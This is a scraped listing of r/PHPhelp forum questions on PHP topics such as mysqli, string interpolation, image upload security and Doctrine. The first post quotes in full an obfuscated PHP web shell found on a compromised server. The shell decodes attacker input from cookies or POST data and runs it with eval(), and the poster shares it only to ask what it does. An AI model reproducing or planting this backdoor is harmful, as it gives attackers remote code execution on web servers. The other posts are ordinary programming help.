r/PHPhelp • • Apr 02 '18

What is this code doing?

9 Upvotes

My webserver was recently compromised. A bunch of php files I didn't upload were there in the root html directory of my site. I don't know how they got there, but I would guess it was through a security hole in an old version of wordpress, which I thought was secure. When I navigated to the file on my web browser, all it did was render a white page. There were about 15 of these files, dating back almost a year, up until last month. the $string in each file was a different random selection of letters. Anyway, I was hoping someone could take a look and see if they could tell what this code is supposed to do.

<?php $wysyj = 'Hypt4i6_k9obsce571vn\'mldf*xgr8-0#ua';$fcmqf = Array();$fcmqf[] = $wysyj[0].$wysyj[25];$fcmqf[] = $wysyj[32];$fcmqf[] = $wysyj[9].$wysyj[15].$wysyj[6].$wysyj[23].$wysyj[9].$wysyj[13].$wysyj[23].$wysyj[14].$wysyj[30].$wysyj[17].$wysyj[16].$wysyj[4].$wysyj[29].$wysyj[30].$wysyj[4].$wysyj[29].$wysyj[29].$wysyj[9].$wysyj[30].$wysyj[9].$wysyj[6].$wysyj[16].$wysyj[16].$wysyj[30].$wysyj[6].$wysyj[11].$wysyj[4].$wysyj[16].$wysyj[4].$wysyj[34].$wysyj[6].$wysyj[31].$wysyj[24].$wysyj[11].$wysyj[9].$wysyj[29];$fcmqf[] = $wysyj[13].$wysyj[10].$wysyj[33].$wysyj[19].$wysyj[3];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[7].$wysyj[28].$wysyj[14].$wysyj[2].$wysyj[14].$wysyj[34].$wysyj[3];$fcmqf[] = $wysyj[14].$wysyj[26].$wysyj[2].$wysyj[22].$wysyj[10].$wysyj[23].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[33].$wysyj[11].$wysyj[12].$wysyj[3].$wysyj[28];$fcmqf[] = $wysyj[34].$wysyj[28].$wysyj[28].$wysyj[34].$wysyj[1].$wysyj[7].$wysyj[21].$wysyj[14].$wysyj[28].$wysyj[27].$wysyj[14];$fcmqf[] = $wysyj[12].$wysyj[3].$wysyj[28].$wysyj[22].$wysyj[14].$wysyj[19];$fcmqf[] = $wysyj[2].$wysyj[34].$wysyj[13].$wysyj[8];foreach ($fcmqf[7]($_COOKIE, $_POST) as $icekva => $vjbst){function djlqgq($fcmqf, $icekva, $mcjeqs){return $fcmqf[6]($fcmqf[4]($icekva . $fcmqf[2], ($mcjeqs / $fcmqf[8]($icekva)) + 1), 0, $mcjeqs);}function uknnjt($fcmqf, $wwuexkk){return @$fcmqf[9]($fcmqf[0], $wwuexkk);}function btxffrz($fcmqf, $wwuexkk){$tcguv = $fcmqf[3]($wwuexkk) % 3;if (!$tcguv) {eval($wwuexkk[1]($wwuexkk[2]));exit();}}$vjbst = uknnjt($fcmqf, $vjbst);btxffrz($fcmqf, $fcmqf[5]($fcmqf[1], $vjbst ^ djlqgq($fcmqf, $icekva, $fcmqf[8]($vjbst))));}


r/PHPhelp • • Jan 19 '18

Anyone here do machine learning in PHP?

9 Upvotes

I am looking to get into this, specifically to create a classifier. I'm not really interested in learning python, though. I would as a last resort, but I'm looking for options not to right now. I have seen the php-fann library and also some php wrappers for tensorflow. The strange thing is I have watched like 25 machine learning videos on you tube and still have no idea where to start. I have done some projects before which I would call advanced, such as creating a chrome plugin, my own webcomponents, and my own php back end framework. But this is a whole other level of ??? I have captured some sample tabular data that while not totally ready for full production, is enough to work with for testing purposes and to get a "hello world" going. For fun to get started I kind of want to remake "Hot dog or not hot dog" but I would settle for any simple classification project for now, ultimately I am going to be using numerical data, my interest is in the stock market. Anyone here done this and can provide any tips on where to start?


r/PHPhelp • • Nov 01 '17

Php code to call sql statements

9 Upvotes

Could someone help me with the pHp coffee to call SQL statements from a database

Thanks in advance


r/PHPhelp • • Jul 24 '17

New to PHP, was given a technical scenario to present, unsure how to tackle effectively.

9 Upvotes

So after two interviews, a company is bringing me in for a face to face interview. This is for a Jr level position, and they will teach me on the job, but they are more concerned with how I think. They say I won't have to do any code during the interview, but I will need to explain to them how I would approach the following scenario. I'm not really sure how to answer this without blowing it. Does anyone here have some good tips or strategies for this?

Technical Scenario: At 1 AM, every night a file arrives on a server that you have full permissions on. Inside that file is a single column of lower case first names up to 10 million lines. We want to process each file, search through the results on a regular basis. A unique file is created every night and that data will need to be queried for each day. With only one rule — you must use PHP — you can use anything else to build your solution. Prepare to present an executive summary of your solution. We’re not asking for code, but we are asking for you to be prepared to answer questions on your development decisions. A white board will be available to use to draw out your plan. And while you have an unlimited budget, be prepared to justify your expenses.

Things to think about:

  1. What is your approach to parsing/storing/querying the data?

  2. What kind of hardware requirements do you think you’d have?

  3. What are the limitations?

Update

Thanks for all the opinions everyone, I had the interview today and I think it went really well. They were expecting me to get the list, put it in a key value pair, and then store it in a mysql db in chunks, and then create another table to split up repeat names, e.g. all the Johns in the new table with the entry dates and counts


r/PHPhelp • • Jun 28 '17

Solved The "proper" way to do string interpolation

9 Upvotes

As we know in php we can do string interpolation like this: "Hello $name.";

But if $name is an array I've seen:

"Hello ".$name['key'].".";

And

"Hello {$name['key']}.";

Is this just a styling preference or is there a commonly accepted way to do this?


r/PHPhelp • • May 05 '17

Accepting user supplied image uploads - am I doing anything wrong?

9 Upvotes

Basically, I want users to be able to share and upload images. So I've concocted this as a first attempt to to make sure they're not sending anything harmful. I'll step through it, but for reference, I put the whole thing on Pastebin ** EDIT That's the original file - the newest version is Here**:

First, we accept the file and copy it to /home/myapp/uploads. To be clear, the app is served from /home/myapp/public/, so the initial file upload is not in a path that can be accessed by the outside world. We also give it a random name, which is the SHA1 hash of the file, and the current file extension.

$upload     = $_FILES['file']['tmp_name'];
$fileName   = $_FILES['file']['name'];
$ext        = pathinfo($fileName, PATHINFO_EXTENSION);

$uploadPath   = '/home/myapp/uploads/';   // Initial directory image is sent to

// move uploaded file to uploads directory
$hash = sha1_file($upload);
$newfile = $hash . "." . $ext;
move_uploaded_file($upload, $uploadPath . $newfile);

Now, we want to make sure that the files we received were actually images.

// Validate the file we received - step one
$imageSize  = getimagesize($uploadPath . $newfile);

if($imageSize == false) {
    echo "Not an image";
    exit();
}

In the config file elsewhere, MAX_IMAGE_SIZE is set to 500, which is the largest dimension (in pixels) a final image should have. If it's larger than 500pixels per side, it should be scaled down proportionately. Note that even if the image is less than 500 pixels per side, we still want to resize it at 100% just to rewrite the file and strip out anything bad (hopefully).

$imageWidth  = $imageSize[0];
$imageHeight = $imageSize[1];
$imageType   = $imageSize['mime'];

if($imageWidth < MAX_IMAGE_SIZE && $imageWidth < MAX_IMAGE_SIZE) {
    $percentage = 1;
} elseif ($imageWidth > $imageHeight) {
    $percentage = (MAX_IMAGE_SIZE / $imageWidth);
} else {
    $percentage = (MAX_IMAGE_SIZE/ $imageHeight);
}

$newHeight  = round($imageHeight * $percentage, 0);
$newWidth   = round($imageWidth  * $percentage, 0);

Now, rather than looking at the extension, we look at the mime type of the image and figure out how to create an image out of it. At this point, we only accept GIF, JPEG and PNG's

// create image
switch($imageType)
{
    case 'image/jpeg':
        $img = @imagecreatefromjpeg($uploadPath . $newfile);
        break;
    case 'image/gif':
        $img = @imagecreatefromgif($uploadPath . $newfile);
        break;
    case 'image/png':
        $img = @imagecreatefrompng($uploadPath . $newfile);
        break;
    default:
        echo "not a supported image type";
        exit();
        break;
}

$destImage = imagecreatetruecolor($newWidth, $newHeight);

imagecopyresampled($destImage, $img, 0, 0, 0, 0, $newWidth, $newHeight, $imageWidth, $imageHeight);

After we've created a new image in memory, we copy it to the publicly accessible directory ('images/uploads'), keeping the previous SHA1 hash as the file name, adding the dimensions of the new image, and saving it as a JPEG regardless of the original format.

imagejpeg($destImage, 'images/uploads/' . $hash . "-" . $newWidth . "x" . $newHeight . ".jpg");

echo json_encode("Uploaded " . $newfile);

At this point, I could delete the original uploads, but am thinking about holding on to them so that a user could request to download the original full-size image if they wanted. I've also read about the imagedestroy() functions, but my understanding is that the memory is released as soon as the script exits, which is immediately after writing the final JPEG.

So that's what I have right now. I feel like this can be refactored into a class at some point, with methods like:

-saveOriginal
-getImageSize
-scaleImage
-saveFinalImage

Of course, once I was 99% of the way through this, it dawned on me that I should have checked https://packagist.org, but being that this is my first time trying to manipulate images in PHP, I thought it was a good learning experience.

Anyways, looking for feedback. Anything I'm missing? Anything that's redundant? Anything that could be done better? Or just do general cleanup and refactoring (i don't like my variable names, for instance).

Any thoughts would be greatly appreciated! Thanks


r/PHPhelp • • Apr 23 '17

Why use mysqli_fetch_assoc()?

9 Upvotes

I'm following a tutorial series and this code was given:

function get_categories($id="null"){
    $categories = array();
    $mysqli = new mysqli("localhost", "root", "", "blog");
    $query = $mysqli->query("SELECT `id`, `name` FROM `categories`");

    while ($row = mysqli_fetch_assoc($query)){
	    $categories[] = $row;
    }
    return $categories;
}

However, I found this to work just as well:

function get_categories($id="null"){
    $categories = array();
    $mysqli = new mysqli("localhost", "root", "", "blog");
    $query = $mysqli->query("SELECT `id`, `name` FROM `categories`");

    foreach ($query as $row){
	    $categories[] = $row;
    }
    return $categories;
}

So I'm wondering why mysqli_fetch_assoc() is even needed?


r/PHPhelp • • Feb 14 '17

How to access Doctrine ORM's entity manager in OOP (I'm using League/Container)

9 Upvotes

I've looked around and can't seem to find anything on this issue, which is probably just down to me not knowing what to search for.

I'm building a project to learn a few things and have been using League\Container for my DI. I'm looking at integrating Doctrine ORM within this, but I can't see how I am going to be able to access my entity manager from within my Application Controllers, through the routing provided by League\Route

I can create my Entities etc, and these all work fine, but I can't see how I can use the entity variable created within the bootstrap.php (according to Doctrine ORM's installation guide), within my controllers to access data from my entities. If that makes any sense.

Does anyone have any tips on this, or maybe a pointer in the right direction?


r/PHPhelp • • Feb 01 '17

New to learning OOP

9 Upvotes

Some 8-10 years ago I was very much into learning php but after I got into it and basically could do pretty much all I needed, I was no longer interested in learning the new methods of coding and updating my skills. To this day I still maintain a website that was written a long time ago, however recently I have been wanting to learn how to code in OOP and probably seek a job in the industry but I find it really hard. I can't distinguish OOP from procedural and I feel like I am starting to learn an entirely new language. Can you give me any directions where to start? I tried looking for video tutorials in youtube but the only examples I find are either too hard for me or cats and humans which I don't find useful at all. I want to know how to work with databases but beginning with the simplest examples.


r/PHPhelp • • Dec 21 '16

Creating my first little PHP site, could really do with some help on some of the trickier code!

9 Upvotes

So I'm creating a small application for my course at university (I've already checked and I'm fine to receive help from Reddit on this).

The basic idea is that I'm creating a music debating platform, in which users have accounts and can create and respond to comments under a specific album where they can also listen to the music through embedded spotify playlists. The whole thing is using a mySQL database for the data side of things.

So far I have successfully implemented:

  • Users can register accounts, change credentials and delete their account

  • A single working comments system which shows a username and a timestamp for each comment.

  • Recaptcha where needed

What I need help with:

  • Adding the embedded spotify music into pages

  • Creating a system for replying to comments and a way of being able to see which comments are in response for which.

This is already split over a few pages (used as include files) so I'll refrain from posting loads of links, however I can post them up if someone is kind enough to help. Really stuck with this one so there's a small gift on offer to anyone who can help me out with it! (Potentially some gold?) if that's allowed and everything of course.

The link to what is already working is posted here: Nothing has any style applied to it yet but it is fairly functional.

http://www.ll14s3b.leedsnewmedia.net/COMM2735/WK8/

thanks to anyone whos took the time to read through this- I'm fairly new to PHP and want to make sure this project goes well!


r/PHPhelp • • May 18 '16

Writing proper HTML in PHP, plus a few newbie questions

9 Upvotes

I'm trying to learn myself PHP these days, and since i'm trying to learn it on my own, i'm afraid that i'll learn a lot of bad practices.

So i figured i'd ask you guys for help.

So far i've written some SQL that generates a database and sets up relations between the tables while populating them. So good so far.

I've also made some PHP that lets me read from the database, i've chosen a forum as my first project, and it wont take me too long to write another script that lets me edit, add and remove entries into the tables.

However, i've got some questions about how HTML is written in PHP, because the way i'm doing it is very very tedious. Here's a sample of my code:

<?php
include 'Config/connect.php';

$sqlTitles = "SELECT threads.*, titles.titleName, topics.topicName FROM threads  LEFT JOIN (topics, titles) ON (threads.topicID = topics.id AND topics.titleID = titles.id);";

$result = $conn->query($sqlTitles);

?>

insert more HTML here

<?php
        if($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) {
                echo "<div class='posts'>".
                        "<img src='Images/".$row["threadImage"].".jpg' alt='text'>".
                        "<h2 class='postHeader'>". $row["threadName"] . "</h2>".
                        "<div class='postContainer'>".
                            "<p class='postContent'>". $row["threadText"] ."</p>".
                            "<p class='creatorName'>".
                                "Created by <span class='posterName'>". $row["creator"] ."</span> @ <span class='postDate'>". $row["createDate"] ."</span>".
                            "</p>".
                        "</div>".
                    "</div>";
            }
        }
        ?>

There's a lot of qoutation marks here, and i've tried making it more readable by following the HTML line indentation.

However, is this the right way of doing it?, it seems very tedious, and it takes a really long time to write out.

Also, having the SQL written in the index.php file, is that the way to do it?, or would you rather make a seperate .php file with all your sql statements in it?

Thanks in advance :)


r/PHPhelp • • Mar 06 '14

How to customize URL [PHP]

9 Upvotes

How can I rewrite URL for user profiles to show their name instead of their id.

What it shows currently:

What I want to show:

What is the best way to accomplish this.


r/PHPhelp • • Jul 13 '12

Please review my code, is it secure? (PHP/MySQL)

9 Upvotes

Hi everyone I am creating a personal page where I can access some sensitive information from my cell phone / any web browser. I have created the shell and it appears good but I am worried I might be overlooking something. I have two questions: 1 do you see any flaws with my code that might allow injection/remote session hijacking or data interception

and 2 how secure is a shared SSL, I have my domain hosted with a company and they have a shared ssl I can use would I be better off not using it at all?

Here is my code: http://pastie.org/private/lphgwezmsztiidscccrula

I know many of you fine people do this out of your own kindness but I am willing to offer $10 paypal if someone can identify a security issue. unfortunately I can only pay one person again this is a personal project not some huge company. I also realize this is a laughing amount compared to what I am asking again this isn't some big corporation. Thank you guys for taking your time to give it the once over
UPDATE: Well no one would take my money so instead I have sent reddit gold to wubble and Skeptical. I will send it to one more person lolhii deserves it if that turns out true otherwise it will be liam_jm
As always I am amazed at the generosity of reddit. Thank you guys so much


r/PHPhelp • • Jun 22 '12

I just wanted to say

9 Upvotes

I've learned so much more about PHP just by seeing examples of problems and then fixes than I have ever learned by just seeing the working code.

Not to mention you've solved some of my problems as well.

Also I feel like you don't make anyone feel dumb about asking or even giving an answer that isn't 100% correct.

TL;DR You guys are great


r/PHPhelp • • Oct 30 '26

Patching code full of old syntax/functions

8 Upvotes

Hello,

I am patching some php code of some kind of DB web integration and the code is quite old. After giving it into phpstorm to check for problems, it showed dozens of syntax errors (mostly curly braces for accessing array elements, no big deal in changing them to squared ones) and whole functions that arent supported anymore. Mostly things as MYSQL_BOTH, MYSQL_NUM, etc. Is there a nice way to fix those issues, maybe even some kind of software, or do I need to manually rewrite those passages w/o the functions?


r/PHPhelp • • Sep 05 '26

Using variable $placeholders breaks PHPStorm syntax/resolve

8 Upvotes

Hello all,

Looking for help on a long standing problem I have. I appreciate this is not a support forum for PHPStorm, however I thought that people here might have more experience.

PHPStorm provides really valuable syntax checking, table/column resolving inside mysql queries. If I accidentally type the orders table as oreders, it will highlight in red.

However when I include a PHP variable inside the query, the syntax/resolve checking completely stops. Example code:

$query = <<<MYSQL
    SELECT
       contracts.start_at

    FROM
      contracts
    
    WHERE
      contracts.id IN ( $placeholders )
MYSQL;


$result = $this->conn->execute_query(
    $query,
    [
       ...$contractIds,
    ],
);

Without the $placeholders, PHPStorm will alert me to any misspelled table or column names.

Are there any options to resolve this? I have considered using sprintf( $query, $placeholders) but wondered if there was a better solution.


r/PHPhelp • • Apr 08 '26

Solved Newbie Laravel Developer

8 Upvotes

I want to learn about Laravel since ill be using it in a job, is there any suggestions on what to watch on youtube or where can i learn basics and so on?


r/PHPhelp • • Apr 06 '26

Solved Formatting in vs code

8 Upvotes

Ive realized that pasting my code from other files sometimes ruins the code and that there is no default formatter for php in vscode. What extension would be recommended for me? I am a student currently doing a project involving php and html css.


r/PHPhelp • • Mar 24 '26

Solved I don't know what to do next

8 Upvotes

Hello Reddit, I'm cs graduated and trying to learn php and I know the syntax but I can not wrap my head around of how to use it, any thoughts on what i should do next to get better at php?

ps:I know front-end(html,css,js,etc).

pps: Thanks everybody for great tips and recommendations!!!!


r/PHPhelp • • Mar 18 '26

I need to take a value from database as PHP variable and somehow convert that variable to be compatible with a Javascript

8 Upvotes

I have a situation where I need a button created with Javascript if conditions set in the database table say so. I basically have it figured out how to get the value and stuff, but using an if equals value with php doesn't allow me to run the Javascript within. What's the best way to pass this information/value into a variable that's usable with the Javascript? Thanks.​​


r/PHPhelp • • Nov 17 '25

How do you do your development and deployments?

8 Upvotes

At the moment, we are developing on a folder on a remote server. I'd love to develop locally, but I might have to hold off on that battle.

When we're done, we FTP the file changes to the prod folder.

We're using Azure Git. An idea we had was to deploy when the site when a commit to git was made. I briefly looked at it and I wasn't able to figure it out. Any suggestions?


r/PHPhelp • • Nov 04 '25

Is PHP a fast language or not?

8 Upvotes

r/PHPhelp • • Nov 04 '25

What is the best/modern way to render text to a png image with PHP?

8 Upvotes

Basically I want to create an endpoint that takes in some arguments and returns a png image with the text rendered using a font file located on the server. I'd also want to store/cache images and ideally run like a nosql DB or something similar, to track duplicate requests and just return an image without going through the render process, if it already exists for a certain set of input parameters.

I have implemented a prototype in Python/Flask using PiL. But now I'm thinking of implementing it in PHP instead, just so it can be easily used with a simple Apache/WP setup side by side with the website that will be using this endpoint to render text following user input.

Thanks!


r/PHPhelp • • Oct 31 '25

develope a Rest API

8 Upvotes

Hello, I want to develop a restapi, what framework would you recommend?

I'm searching myself, there are many options, but I'm worried about the security of the inputs.

If anyone has experience, I'd appreciate some advice.

Laravel is heavy, let's think about a simple api!

I want a simple and secure framework :(